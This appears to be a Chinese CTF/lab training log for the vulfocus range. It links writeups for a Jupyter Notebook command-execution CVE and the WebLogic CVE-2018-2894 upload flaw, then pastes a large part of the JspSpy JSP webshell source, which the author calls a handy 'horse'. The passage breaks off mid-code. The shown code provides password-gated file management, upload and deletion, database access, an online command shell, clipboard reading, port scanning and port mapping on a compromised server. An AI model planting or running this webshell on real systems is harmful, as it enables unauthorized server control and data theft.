vulfocus靶场训练实录

jupyter-notebook 命令执行 (CVE-2019-9644)

WP

https://fofapro.github.io/vulfocus/#/writeup/Jupyter_Notebook_%E6%9C%AA%E6%8E%88%E6%9D%83%E8%AE%BF%E9%97%AE%E6%BC%8F%E6%B4%9E_xiajibax/JupyterNotebook%E6%9C%AA%E6%8E%88%E6%9D%83%E8%AE%BF%E9%97%AE%E6%BC%8F%E6%B4%9E

weblogic 文件上传 (CVE-2018-2894)

WP

https://fofapro.github.io/vulfocus/#/writeup/CVE-2018-2894/CVE-2018-2894

又找到了一个好用的jsp马啦

<%@page pageEncoding="utf-8"%>
<%@page import="java.io.*"%>
<%@page import="java.util.*"%>
<%@page import="java.util.regex.*"%>
<%@page import="java.sql.*"%>
<%@page import="java.lang.reflect.*"%>
<%@page import="java.nio.charset.*"%>
<%@page import="javax.servlet.http.HttpServletRequestWrapper"%>
<%@page import="java.text.*"%>
<%@page import="java.net.*"%>
<%@page import="java.util.zip.*"%>
<%@page import="java.util.jar.*"%>
<%@page import="java.awt.*"%>
<%@page import="java.awt.image.*"%>
<%@page import="javax.imageio.*"%>
<%@page import="java.awt.datatransfer.DataFlavor"%>
<%@page import="java.util.prefs.Preferences"%>
<%!
/**
* by n1nty
* CY . I Love You.
*/
private static final String PW = "shang"; //password
private static final String PW_SESSION_ATTRIBUTE = "JspSpyPwd";
private static final String REQUEST_CHARSET = "ISO-8859-1";
private static final String PAGE_CHARSET = "UTF-8";
private static final String CURRENT_DIR = "currentdir";
private static final String MSG = "SHOWMSG";
private static final String PORT_MAP = "PMSA";
private static final String DBO = "DBO";
private static final String SHELL_ONLINE = "SHELL_ONLINE";
private static final String ENTER = "ENTER_FILE";
private static final String ENTER_MSG = "ENTER_FILE_MSG";
private static final String ENTER_CURRENT_DIR  = "ENTER_CURRENT_DIR";
private static final String SESSION_O = "SESSION_O";
private static String SHELL_NAME = "";
private static String WEB_ROOT = null; 
private static String SHELL_DIR = null;
public static Map ins = new HashMap();
private static boolean ISLINUX = false;

private static final String MODIFIED_ERROR = "JspSpy Was Modified By Some Other Applications. Please Logout.";
private static final String BACK_HREF = " <a href='javascript:history.back()'>Back</a>";

private static class MyRequest extends HttpServletRequestWrapper {
public MyRequest(HttpServletRequest req) {
super(req);
}
public String getParameter(String name) {
try {
String value = super.getParameter(name);
if (name == null)
return null;
return new String(value.getBytes(REQUEST_CHARSET),PAGE_CHARSET);
} catch (Exception e) {
return null;
}
}
}
private static class SpyClassLoader extends ClassLoader{
public SpyClassLoader() {
}
public Class defineClass(String name,byte[] b) {
return super.defineClass(name,b,0,b.length - 2);
}
}
private static class DBOperator{
private Connection conn = null;
private Statement stmt = null;
private String driver;
private String url;
private String uid;
private String pwd;
public DBOperator(String driver,String url,String uid,String pwd) throws Exception {
this(driver,url,uid,pwd,false);
}
public DBOperator(String driver,String url,String uid,String pwd,boolean connect) throws Exception {
Class.forName(driver);
if (connect)
this.conn = DriverManager.getConnection(url,uid,pwd);
this.url = url;
this.driver = driver;
this.uid = uid;
this.pwd = pwd;
}
public void connect() throws Exception{
this.conn = DriverManager.getConnection(url,uid,pwd);
}
public Object execute(String sql) throws Exception {
if (isValid()) {
stmt = conn.createStatement();
if (stmt.execute(sql)) {
return stmt.getResultSet();
} else {
return ""+stmt.getUpdateCount();
}
}
throw new Exception("Connection is inValid.");
}
public void closeStmt() throws Exception{
if (this.stmt != null)
stmt.close();
}
public boolean isValid() throws Exception {
return conn != null && !conn.isClosed();
}
public void close() throws Exception {
if (isValid()) {
closeStmt();
conn.close();
}
}
public boolean equals(Object o) {
if (o instanceof DBOperator) {
DBOperator dbo = (DBOperator)o;
return this.driver.equals(dbo.driver) && this.url.equals(dbo.url) && this.uid.equals(dbo.uid) && this.pwd.equals(dbo.pwd);
}
return false;
}
public Connection getConn(){
return this.conn;
}
}
private static class StreamConnector extends Thread {
private InputStream is;
private OutputStream os;  
public StreamConnector( InputStream is, OutputStream os ){
this.is = is;
this.os = os;
}              
public void run(){
BufferedReader in  = null;
BufferedWriter out = null;
try{
in  = new BufferedReader( new InputStreamReader(this.is));
out = new BufferedWriter( new OutputStreamWriter(this.os));
char buffer[] = new char[8192];
int length;
while((length = in.read( buffer, 0, buffer.length ))>0){
out.write( buffer, 0, length );
out.flush();
}
} catch(Exception e){}
try{
if(in != null)
in.close();
if(out != null)
out.close();
} catch( Exception e ){}
}
public static void readFromLocal(final DataInputStream localIn,final DataOutputStream remoteOut){
new Thread(new Runnable(){
public void run(){
while (true) {
try{
byte[] data = new byte[100];
int len = localIn.read(data);
while (len != -1) {
remoteOut.write(data,0,len);
len = localIn.read(data);
}
}catch (Exception e) {
break;
}
}
}
}).start();
}
public static void readFromRemote(final Socket soc,final Socket remoteSoc,final DataInputStream remoteIn,final DataOutputStream localOut){
new Thread(new Runnable(){
public void run(){
while(true) {
try{
byte[] data = new byte[100];
int len = remoteIn.read(data);
while (len != -1) {
localOut.write(data,0,len);
len = remoteIn.read(data);
}
}catch (Exception e) {
try{
soc.close();
remoteSoc.close();
}catch(Exception ex) {
}
break;
}
}
}
}).start();
}
}
private static class EnterFile extends File{
private ZipFile zf = null;
private ZipEntry entry = null;
private boolean isDirectory = false;
private String absolutePath = null;
public void setEntry(ZipEntry e) {
this.entry = e;
}
public void setAbsolutePath(String p) {
this.absolutePath = p;
}
public void close() throws Exception{
this.zf.close();
}
public void setZf(String p) throws Exception{
if (p.toLowerCase().endsWith(".jar"))
this.zf = new JarFile(p);
else 
this.zf = new ZipFile(p);
}
public EnterFile(File parent, String child) {
super(parent,child);
}
public EnterFile(String pathname) {
super(pathname);
}
public EnterFile(String pathname,boolean isDir) {
this(pathname);
this.isDirectory = isDir;
}
public EnterFile(String parent, String child) {
super(parent,child);
}
public EnterFile(URI uri) {
super(uri);
}
public boolean exists(){
return new File(this.zf.getName()).exists();
}
public File[] listFiles()  {
java.util.List list = new ArrayList();
java.util.List handled = new ArrayList();
String currentDir = super.getPath();
currentDir = currentDir.replace('\\','/');
if (currentDir.indexOf("/") == 0)
{
if (currentDir.length() > 1)
currentDir = currentDir.substring(1);
else 
currentDir = "";
}
Enumeration e = this.zf.entries();
while (e.hasMoreElements())
{
ZipEntry entry = (ZipEntry)e.nextElement();
String eName = entry.getName();
if (this.zf instanceof JarFile) {
if (!entry.isDirectory()){
EnterFile ef = new EnterFile(eName);
ef.setEntry(entry);
try{
ef.setZf(this.zf.getName());
}catch(Exception ex) {
}
list.add(ef);
}
} else {
if (currentDir.equals("")) {
//zip root directory
if (eName.indexOf("/") == -1 || eName.matches("[^/]+/$"))
{
EnterFile ef = new EnterFile(eName.replaceAll("/",""));
handled.add(eName.replaceAll("/",""));
ef.setEntry(entry);
list.add(ef);
} else {
if (eName.indexOf("/") != -1) {
String tmp = eName.substring(0,eName.indexOf("/"));
if (!handled.contains(tmp) && !Util.isEmpty(tmp)) {
EnterFile ef = new EnterFile(tmp,true);
ef.setEntry(entry);
list.add(ef);
handled.add(tmp);
}
}
}
} else {
if (eName.startsWith(currentDir)) {
if (eName.matches(currentDir+"/[^/]+/?$")) {
//file.
EnterFile ef = new EnterFile(eName);
ef.setEntry(entry);
list.add(ef);
if (eName.endsWith("/")) {
String tmp = eName.substring(eName.lastIndexOf('/',eName.length()-2));
tmp = tmp.substring(1,tmp.length()-1);
handled.add(tmp);
}
} else {
//dir
try {
String tmp = eName.substring(currentDir.length()+1);
tmp = tmp.substring(0,tmp.indexOf('/'));
if (!handled.contains(tmp) && !Util.isEmpty(tmp)) {
EnterFile ef = new EnterFile(tmp,true);
ef.setAbsolutePath(currentDir+"/"+tmp);
ef.setEntry(entry);
list.add(ef);
handled.add(tmp);
}
} catch (Exception ex) {
}
}
}
}
}
}
return  (File[])list.toArray(new File[0]);
}
public boolean isDirectory(){
return this.entry.isDirectory() || this.isDirectory;
}
public String getParent(){
return "";
}
public String getAbsolutePath(){
return absolutePath != null ? absolutePath : super.getPath();
}
public String getName(){
if (this.zf instanceof JarFile) {
return this.getAbsolutePath();
} else {
return super.getName();
}
}
public long lastModified(){
return entry.getTime();
}
public boolean canRead(){
return false;
}
public boolean canWrite(){
return false;
}
public boolean canExecute(){
return false;
}
public long length(){
return entry.getSize();
}
}
private static class OnLineProcess {
private String cmd = "first";
private Process pro;
public OnLineProcess(Process p){
this.pro = p;
}
public void setPro(Process p) {
this.pro = p;
}
public void setCmd(String c){
this.cmd = c;
}
public String getCmd(){
return this.cmd;
}
public Process getPro(){
return this.pro;
}
public void stop(){
this.pro.destroy();
}
}
private static class OnLineConnector extends Thread {
private OnLineProcess ol = null;
private InputStream is;
private OutputStream os;
private String name;
public OnLineConnector( InputStream is, OutputStream os ,String name,OnLineProcess ol){
this.is = is;
this.os = os;
this.name = name;
this.ol = ol;
}
public void run(){
BufferedReader in  = null;
BufferedWriter out = null;
try{
in  = new BufferedReader( new InputStreamReader(this.is));
out = new BufferedWriter( new OutputStreamWriter(this.os));
char buffer[] = new char[128];
if(this.name.equals("exeRclientO")) {
//from exe to client
int length = 0;
while((length = in.read( buffer, 0, buffer.length ))>0){
String str = new String(buffer, 0, length);
str = str.replaceAll("&","&amp;").replaceAll("<","&lt;").replaceAll(">","&gt;");
str = str.replaceAll(""+(char)13+(char)10,"<br/>");
str = str.replaceAll("\n","<br/>");
out.write(str.toCharArray(), 0, str.length());
out.flush();
}
} else {
//from client to exe
while(true) {
while(this.ol.getCmd() == null) {
Thread.sleep(500);
}
if (this.ol.getCmd().equals("first")) {
this.ol.setCmd(null);
continue;
}
this.ol.setCmd(this.ol.getCmd() + (char)10);
char[] arr = this.ol.getCmd().toCharArray();
out.write(arr,0,arr.length);
out.flush();
this.ol.setCmd(null);
}
}
} catch(Exception e){
}
try{
if(in != null)
in.close();
if(out != null)
out.close();
} catch( Exception e ){
}
}
}
private static class Table{
private ArrayList rows = null;
private boolean echoTableTag = false;
public void setEchoTableTag(boolean v) {
this.echoTableTag = v;
}
public Table(){
this.rows = new ArrayList();
}
public void addRow(Row r) {
this.rows.add(r);
}
public String toString(){
StringBuffer html = new StringBuffer();
if (echoTableTag)
html.append("<table>");
for (int i = 0;i<rows.size();i++) {
                Row r=(Row)rows.get(i);
html.append("<tr class=\"alt1\" onMouseOver=\"this.className='focus';\" onMouseOut=\"this.className='alt1';\">");
                ArrayList columns = r.getColumns();
for (int a = 0;a<columns.size();a++) {
                    Column c = (Column)columns.get(a);
html.append("<td nowrap>");
String vv = Util.htmlEncode(Util.getStr(c.getValue()));
if (vv.equals(""))
vv = "&nbsp;";
html.append(vv);
html.append("</td>");
}
html.append("</tr>");
}
if (echoTableTag)
html.append("</table>");
return html.toString();
}
public static String rs2Table(ResultSet rs,String sep,boolean op) throws Exception{
StringBuffer table = new StringBuffer();
ResultSetMetaData meta = rs.getMetaData();
int count = meta.getColumnCount();
if (!op)
table.append("<b style='color:red;margin-left:15px'><i> View Struct </i></b> - <a href=\"javascript:doPost({o:'executesql'})\">View All Tables</a><br/><br/>");
else 
table.append("<b style='color:red;margin-left:15px'><i> All Tables </i></b><br/><br/>");
table.append("<script>function view(t){document.getElementById('sql').value='select * from "+sep+"'+t+'"+sep+"';}</script>");
table.append("<table border=\"0\" cellpadding=\"3\" cellspacing=\"0\" style=\"margin-left:15px\"><tr class=\"head\">");
for (int i = 1;i<=count;i++) {
table.append("<td nowrap>"+meta.getColumnName(i)+"</td>");
}
if (op)
table.append("<td>&nbsp;</td>");
table.append("</tr>");
while (rs.next()) {
String tbName = null;
table.append("<tr class=\"alt1\" onMouseOver=\"this.className='focus';\" onMouseOut=\"this.className='alt1';\">");
for (int i = 1;i<=count;i++) {
String v = rs.getString(i);
if (i == 3)
tbName = v;
table.append("<td nowrap>"+Util.null2Nbsp(v)+"</td>");
}
if (op)
table.append("<td nowrap> <a href=\"#\" onclick=\"view('"+tbName+"')\">View</a> | <a href=\"javascript:doPost({o:'executesql',type:'struct',table:'"+tbName+"'})\">Struct</a> | <a href=\"javascript:doPost({o:'export',table:'"+tbName+"'})\">Export </a> | <a href=\"javascript:doPost({o:'vExport',table:'"+tbName+"'})\">Save To File</a> </td>");
table.append("</tr>");
}
table.append("</table><br/>");
return table.toString();
}
}
private static class Row{
private ArrayList cols = null;
public Row(){
this.cols = new ArrayList();
}
public void addColumn(Column n) {
this.cols.add(n);
}
public ArrayList getColumns(){
return this.cols;
}
}
private static class Column{
private String value;
public Column(String v){
this.value = v;
}
public String getValue(){
return this.value;
}
}
private static class Util{
public static boolean isEmpty(String s) {
return s == null || s.trim().equals("");
}
public static boolean isEmpty(Object o) {
return o == null || isEmpty(o.toString());
}
public static String getSize(long size,char danwei) {
if (danwei == 'M') {
double v =  formatNumber(size / 1024.0 / 1024.0,2);
if (v > 1024) {
return getSize(size,'G');
}else {
return v + "M";
}
} else if (danwei == 'G') {
return formatNumber(size / 1024.0 / 1024.0 / 1024.0,2)+"G";
} else if (danwei == 'K') {
double v = formatNumber(size / 1024.0,2);
if (v > 1024) {
return getSize(size,'M');
} else {
return v + "K";
}
} else if (danwei == 'B') {
if (size > 1024) {
return getSize(size,'K');
}else {
return size + "B";
}
}
return ""+0+danwei;
}
public static boolean exists(String[] arr,String v) {
for (int i =0;i<arr.length;i++) {
if (v.equals(arr[i])) {
return true;
}
}
return false;
}
public static double formatNumber(double value,int l) {
NumberFormat format = NumberFormat.getInstance();
format.setMaximumFractionDigits(l);
format.setGroupingUsed(false);
return new Double(format.format(value)).doubleValue();
}
public static boolean isInteger(String v) {
if (isEmpty(v))
return false;
return v.matches("^\\d+$");
}
public static String formatDate(long time) {
SimpleDateFormat format = new SimpleDateFormat("yyyy-MM-dd hh:mm:ss");
return format.format(new java.util.Date(time));
}
public static String convertPath(String path) {
return path != null ? path.replace('\\','/') : "";
}
public static String htmlEncode(String v) {
if (isEmpty(v))
return "";
return v.replaceAll("&","&amp;").replaceAll("<","&lt;").replaceAll(">","&gt;");
}
public static String getStr(String s) {
return s == null ? "" :s;
}
public static String null2Nbsp(String s) {
if (s == null)
s = "&nbsp;";
return s;
}
public static String getStr(Object s) {
return s == null ? "" :s.toString();
}
public static String exec(String regex, String str, int group) {
Pattern pat = Pattern.compile(regex);
Matcher m = pat.matcher(str);
if (m.find())
return m.group(group);
return null;
}
public static void outMsg(Writer out,String msg) throws Exception {
outMsg(out,msg,"center");
}
public static void outMsg(Writer out,String msg,String align) throws Exception {
out.write("<div style=\"background:#f1f1f1;border:1px solid #ddd;padding:15px;font:14px;text-align:"+align+";font-weight:bold;margin:10px\">"+msg+"</div>");
}
public static String highLight(String str) {
str = str.replaceAll("\\b(abstract|package|String|byte|static|synchronized|public|private|protected|void|int|long|double|boolean|float|char|final|extends|implements|throw|throws|native|class|interface|emum)\\b","<span style='color:blue'>$1</span>");
str = str.replaceAll("\t(//.+)","\t<span style='color:green'>$1</span>");
return str;
}
}
private static class UploadBean {
private String fileName = null;
private String suffix = null;
private String savePath = "";
private ServletInputStream sis = null;
private OutputStream targetOutput = null;
private byte[] b = new byte[1024];
public void setTargetOutput(OutputStream stream) {
this.targetOutput = stream;
}
public UploadBean() {
}
public void setSavePath(String path) {
this.savePath = path;
}
public String getFileName(){
return this.fileName;
}
public void parseRequest(HttpServletRequest request) throws IOException {
sis = request.getInputStream();
int a = 0;
int k = 0;
String s = "";
while ((a = sis.readLine(b,0,b.length))!= -1) {
s = new String(b, 0, a,PAGE_CHARSET);
if ((k = s.indexOf("filename=\""))!= -1) {
s = s.substring(k + 10);
k = s.indexOf("\"");
s = s.substring(0, k);
File tF = new File(s);
if (tF.isAbsolute()) {
fileName = tF.getName();
} else {
fileName = s;
}
k = s.lastIndexOf(".");
suffix = s.substring(k + 1);
upload();
}
}
}
private void upload() throws IOException{
try {
OutputStream out = null;
if (this.targetOutput != null) 
out = this.targetOutput;
else 
out = new FileOutputStream(new File(savePath,fileName));
int a = 0;
int k = 0;
String s = "";
while ((a = sis.readLine(b,0,b.length))!=-1) {
s = new String(b, 0, a);
if ((k = s.indexOf("Content-Type:"))!=-1) {
break;
}
}
sis.readLine(b,0,b.length);
while ((a = sis.readLine(b,0,b.length)) != -1) {
s = new String(b, 0, a);
if ((b[0] == 45) && (b[1] == 45) && (b[2] == 45) && (b[3] == 45) && (b[4] == 45)) {
break;
}
out.write(b, 0, a);
}
if (out instanceof FileOutputStream)
out.close();
} catch (IOException ioe) {
throw ioe;
}
}
}
%>
<%
SHELL_NAME = request.getServletPath().substring(request.getServletPath().lastIndexOf("/")+1);
String myAbsolutePath = application.getRealPath(request.getServletPath());
if (Util.isEmpty(myAbsolutePath)) {//for weblogic
SHELL_NAME = request.getServletPath();
myAbsolutePath = new File(application.getResource("/").getPath()+SHELL_NAME).toString();
SHELL_NAME=request.getContextPath()+SHELL_NAME;
WEB_ROOT = new File(application.getResource("/").getPath()).toString();
} else {
WEB_ROOT = application.getRealPath("/");
}
SHELL_DIR = Util.convertPath(myAbsolutePath.substring(0,myAbsolutePath.lastIndexOf(File.separator)));
if (SHELL_DIR.indexOf('/') == 0)
ISLINUX = true;
else
ISLINUX = false;
if (session.getAttribute(CURRENT_DIR) == null)
session.setAttribute(CURRENT_DIR,Util.convertPath(SHELL_DIR));
request = new MyRequest(request);
if (session.getAttribute(PW_SESSION_ATTRIBUTE) == null || !(session.getAttribute(PW_SESSION_ATTRIBUTE)).equals(PW)) {
String o = request.getParameter("o");
if (o != null &&  o.equals("login")) {
((Invoker)ins.get("login")).invoke(request,response,session);
return;
} else if (o != null && o.equals("vLogin")) {
((Invoker)ins.get("vLogin")).invoke(request,response,session);
return;
} else {
((Invoker)ins.get("vLogin")).invoke(request,response,session);
return;
}
}
%>
<%!
private static interface Invoker {
public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception;
public boolean doBefore();
public boolean doAfter();
}
private static class DefaultInvoker implements Invoker{
public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception {
}
public boolean doBefore(){
return true;
}
public boolean doAfter() {
return true;
}
}
private static class ScriptInvoker extends DefaultInvoker{
public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
try {
PrintWriter out = response.getWriter();
out.println("<script type=\"text/javascript\">"+
"    String.prototype.trim = function(){return this.replace(/^\\s+|\\s+$/,'');};"+
"    function fso(obj) {"+
"        this.currentDir = '"+JSession.getAttribute(CURRENT_DIR)+"';"+
"        this.filename = obj.filename;"+
"        this.path = obj.path;"+
"        this.filetype = obj.filetype;"+
"        this.charset = obj.charset;"+
"    };"+
"    fso.prototype = {"+
"        copy:function(){"+
"            var path = prompt('Copy To : ',this.path);"+
"            if (path == null || path.trim().length == 0 || path.trim() == this.path)return;"+
"            doPost({o:'copy',src:this.path,to:path});"+
"        },"+
"        move:function() {"+
"            var path =prompt('Move To : ',this.path);"+
"            if (path == null || path.trim().length == 0 || path.trim() == this.path)return;"+
"            doPost({o:'move',src:this.path,to:path})"+
"        },"+
"        vEdit:function() {"+
"            if (!this.charset)"+
"                doPost({o:'vEdit',filepath:this.path});"+
"            else"+
"                doPost({o:'vEdit',filepath:this.path,charset:this.charset});"+
"        },"+
"        down:function() {"+
"            doPost({o:'down',path:this.path})"+
"        },"+
"        removedir:function() {"+
"            if (!confirm('Dangerous ! Are You Sure To Delete '+this.filename+'?'))return;"+
"            doPost({o:'removedir',dir:this.path});"+
"        },"+
"        mkdir:function() {"+
"            var name = prompt('Input New Directory Name','');"+
"            if (name == null || name.trim().length == 0)return;"+
"            doPost({o:'mkdir',name:name});"+
"        },"+
"        subdir:function(out) {"+
"            doPost({o:'filelist',folder:this.path,outentry:(out || 'none')})"+
"        },"+
"        parent:function() {"+
"            var parent=(this.path.substr(0,this.path.lastIndexOf(\"/\")))+'/';"+
"            doPost({o:'filelist',folder:parent})"+
"        },"+
"        createFile:function() {"+
"            var path = prompt('Input New File Name','');"+
"            if (path == null || path.trim().length == 0) return;"+
"            doPost({o:'vCreateFile',filepath:path})"+
"        },"+
"        deleteBatch:function() {"+
"            if (!confirm('Are You Sure To Delete These Files?')) return;"+
"            var selected = new Array();"+
"            var inputs = document.getElementsByTagName('input');"+
"            for (var i = 0;i<inputs.length;i++){if(inputs[i].checked){selected.push(inputs[i].value)}}"+
"            if (selected.length == 0) {alert('No File Selected');return;}"+
"            doPost({o:'deleteBatch',files:selected.join(',')})"+
"        },"+
"        packBatch:function() {"+
"            var selected = new Array();"+
"            var inputs = document.getElementsByTagName('input');"+
"            for (var i = 0;i<inputs.length;i++){if(inputs[i].checked){selected.push(inputs[i].value)}}"+
"            if (selected.length == 0) {alert('No File Selected');return;}"+
"            var savefilename = prompt('Input Target File Name(Only Support ZIP)','pack.zip');"+
"            if (savefilename == null || savefilename.trim().length == 0)return;"+
"            doPost({o:'packBatch',files:selected.join(','),savefilename:savefilename})"+
"        },"+
"        pack:function(showconfig) {"+
"            if (showconfig && confirm('Need Pack Configuration?')) {doPost({o:'vPack',packedfile:this.path});return;}"+
"            var tmpName = '';"+
"            if (this.filename.indexOf('.') == -1) tmpName = this.filename;"+
"            else tmpName = this.filename.substr(0,this.filename.lastIndexOf('.'));"+
"            tmpName += '.zip';"+
"            var path = this.path;"+
"            var name = prompt('Input Target File Name (Only Support Zip)',tmpName);"+
"            if (name == null || path.trim().length == 0) return;"+
"            doPost({o:'pack',packedfile:path,savefilename:name})"+
"        },"+
"        vEditProperty:function() {"+
"            var path = this.path;"+
"            doPost({o:'vEditProperty',filepath:path})"+
"        },"+
"        unpack:function() {"+
"            var path = prompt('unpack to : ',this.currentDir+'/'+this.filename.substr(0,this.filename.lastIndexOf('.')));"+
"            if (path == null || path.trim().length == 0) return;"+
"            doPost({o:'unpack',savepath:path,zipfile:this.path})"+
"        },"+
"        enter:function() {"+
"            doPost({o:'enter',filepath:this.path})"+
"        }"+
"    };"+
"    function doPost(obj) {"+
"        var form = document.forms[\"doForm\"];"+
"        var elements = form.elements;for (var i = form.length - 1;i>=0;i--){form.removeChild(elements[i])}"+
"        for (var pro in obj)"+
"        {"+
"            var input = document.createElement(\"input\");"+
"            input.type = \"hidden\";"+
"            input.name = pro;"+
"            input.value = obj[pro];"+
"            form.appendChild(input);"+
"        }"+
"        form.submit();"+
"    }"+
"</script>");    

} catch (Exception e) {

throw e ;
}
}
}
private static class BeforeInvoker extends  DefaultInvoker {
public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
try {
PrintWriter out = response.getWriter();
out.println("<html><head><title>JspSpy Private Codz By - Ninty</title><style type=\"text/css\">"+
"body,td{font: 12px Arial,Tahoma;line-height: 16px;}"+
".input{font:12px Arial,Tahoma;background:#fff;border: 1px solid #666;padding:2px;height:22px;}"+
".area{font:12px 'Courier New', Monospace;background:#fff;border: 1px solid #666;padding:2px;}"+
".bt {border-color:#b0b0b0;background:#3d3d3d;color:#ffffff;font:12px Arial,Tahoma;height:22px;}"+
"a {color: #00f;text-decoration:underline;}"+
"a:hover{color: #f00;text-decoration:none;}"+
".alt1 td{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#f1f1f1;padding:5px 10px 5px 5px;}"+
".alt2 td{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#f9f9f9;padding:5px 10px 5px 5px;}"+
".focus td{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#ffffaa;padding:5px 10px 5px 5px;}"+
".head td{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#e9e9e9;padding:5px 10px 5px 5px;font-weight:bold;}"+
".head td span{font-weight:normal;}"+
"form{margin:0;padding:0;}"+
"h2{margin:0;padding:0;height:24px;line-height:24px;font-size:14px;color:#5B686F;}"+
"ul.info li{margin:0;color:#444;line-height:24px;height:24px;}"+
"u{text-decoration: none;color:#777;float:left;display:block;width:150px;margin-right:10px;}"+
".secho{height:400px;width:100%;overflow:auto;border:none}"+
"hr{border: 1px solid rgb(221, 221, 221); height: 0px;}"+
"</style></head><body style=\"margin:0;table-layout:fixed; word-break:break-all\">");
} catch (Exception e) {

throw e ;
}
}
}
private static class AfterInvoker extends DefaultInvoker {
public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
try {
PrintWriter out = response.getWriter();
out.println("</body></html>");
} catch (Exception e) {

throw e ;
}
}
}
private static class DeleteBatchInvoker extends DefaultInvoker {
public boolean doBefore(){return false;}
public boolean doAfter(){return false;}
public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
try {
String files = request.getParameter("files");
int success = 0;
int failed = 0;
if (!Util.isEmpty(files)) {
String currentDir = JSession.getAttribute(CURRENT_DIR).toString();
String[] arr = files.split(",");
for (int i = 0;i<arr.length;i++) {
                            String fs = arr[i];
File f = new File(currentDir,fs);
if(f.delete())
success += 1;
else
failed += 1;
}
}
JSession.setAttribute(MSG,success+" Files Deleted <span style='color:green'>Success</span> , "+failed+" Files Deleted <span style='color:red'>Failed</span>!");
response.sendRedirect(SHELL_NAME);
} catch (Exception e) {

throw e ;
}
}
}
private static class ClipBoardInvoker extends DefaultInvoker {
public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
try {
PrintWriter out = response.getWriter();
out.println("<table width=\"100%\" border=\"0\" cellpadding=\"15\" cellspacing=\"0\">"+
"  <tr>"+
"    <td>"+
"        <h2>System Clipboard &raquo;</h2>"+
"<p><pre>");
try{
out.println(Util.htmlEncode(Util.getStr(Toolkit.getDefaultToolkit().getSystemClipboard().getContents(DataFlavor.stringFlavor).getTransferData(DataFlavor.stringFlavor))));
}catch (Exception ex) {
out.println("ClipBoard is Empty Or Is Not Text Data !");
}
out.println("</pre>"+
"          <input class=\"bt\" name=\"button\" id=\"button\" onClick=\"history.back()\" value=\"Back\" type=\"button\" size=\"100\"  />"+
"        </p>"+
"      </td>"+
"  </tr>"+
"</table>");
} catch (Exception e) {

throw e ;
}
}
}
private static class VPortScanInvoker extends DefaultInvoker {
public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
try {
PrintWriter out = response.getWriter();
String ip = request.getParameter("ip");
String ports = request.getParameter("ports");
String timeout = request.getParameter("timeout");
String banner = request.getParameter("banner");
if (Util.isEmpty(ip))
ip = "127.0.0.1";
if (Util.isEmpty(ports))
ports = "21,25,80,110,1433,1723,3306,3389,4899,5631,43958,65500";
if (Util.isEmpty(timeout)) 
timeout = "2";
out.println("<table width=\"100%\" border=\"0\" cellpadding=\"15\" cellspacing=\"0\"><tr><td>"+
"<h2 id=\"Bin_H2_Title\">PortScan &gt;&gt;</h2>"+
"<div id=\"YwLB\"><form action=\""+SHELL_NAME+"\" method=\"post\">"+
"<p><input type=\"hidden\" value=\"portScan\" name=\"o\">"+
"IP : <input name=\"ip\" type=\"text\" value=\""+ip+"\" id=\"ip\" class=\"input\" style=\"width:10%;margin:0 8px;\" /> Port : <input name=\"ports\" type=\"text\" value=\""+ports+"\" id=\"ports\" class=\"input\" style=\"width:40%;margin:0 8px;\" /> <input "+(!Util.isEmpty(banner) ? "checked" : "")+" type='checkbox' value='yes' name='banner'/>Banner Timeout  (Second) : <input name=\"timeout\" type=\"text\" value=\""+timeout+"\" id=\"timeout\" class=\"input\" size=\"5\" style=\"margin:0 8px;\" /> <input type=\"submit\" name=\"submit\" value=\"Scan\" id=\"submit\" class=\"bt\" />"+
"</p>"+
"</form></div>"+
"</td></tr></table>");
} catch (Exception e) {

throw e ;
}
}
}
private static class PortScanInvoker extends DefaultInvoker {
public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
try {
PrintWriter out = response.getWriter();
((Invoker)ins.get("vPortScan")).invoke(request,response,JSession);
out.println("<hr/>");
String ip = request.getParameter("ip");
String ports = request.getParameter("ports");
String timeout = request.getParameter("timeout");
String banner = request.getParameter("banner");
int iTimeout = 0;
if (Util.isEmpty(ip) || Util.isEmpty(ports))
return;
if (!Util.isInteger(timeout)) {
timeout = "2";
}
iTimeout = Integer.parseInt(timeout);
Map rs = new LinkedHashMap();
String[] portArr = ports.split(",");
for (int i =0;i<portArr.length;i++) {
                        String port = portArr[i];
BufferedReader r = null;
try {
Socket s = new Socket();
s.connect(new InetSocketAddress(ip,Integer.parseInt(port)),iTimeout);
s.setSoTimeout(iTimeout);
if (!Util.isEmpty(banner)) {
r = new BufferedReader(new InputStreamReader(s.getInputStream()));
StringBuffer sb = new StringBuffer();
String b = r.readLine();
while (b != null) {
sb.append(b+" ");
try {
b = r.readLine();
} catch (Exception e) {
break;
}
}
rs.put(port,"Open <span style=\"color:grey;font-weight:normal\">"+sb.toString()+"</span>");
r.close();
} else {
rs.put(port,"Open");
}
s.close();
} catch (Exception e) {
if (e.toString().toLowerCase().indexOf("read timed out")!=-1) {
rs.put(port,"Open <span style=\"color:grey;font-weight:normal\">&lt;&lt;No Banner!&gt;&gt;</span>");
if (r != null)
r.close();
} else {
rs.put(port,"Close");
}
}
}
out.println("<div style='margin:10px'>");
Set entrySet = rs.entrySet();
                    Iterator it =  entrySet.iterator();
                    while (it.hasNext()) {
                        Map.Entry e = (Map.Entry)it.next();
                        String port = (String)e.getKey();
                        String value = (String)e.getValue();
out.println(ip+" : "+port+" ................................. <font color="+(value.equals("Close")?"red":"green")+"><b>"+value+"</b></font><br>");
}
out.println("</div>");
} catch (Exception e) {

throw e ;
}
}
}
private static class VConnInvoker extends DefaultInvoker {
public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
try {
PrintWriter out = response.getWriter();
Object obj = JSession.getAttribute(DBO);
if (obj == null || !((DBOperator)obj).isValid()) {
out.println("  <script type=\"text/javascript\">"+
"    function changeurldriver(){"+
"        var form = document.forms[\"form1\"];"+
"        var v = form.elements[\"db\"].value;"+
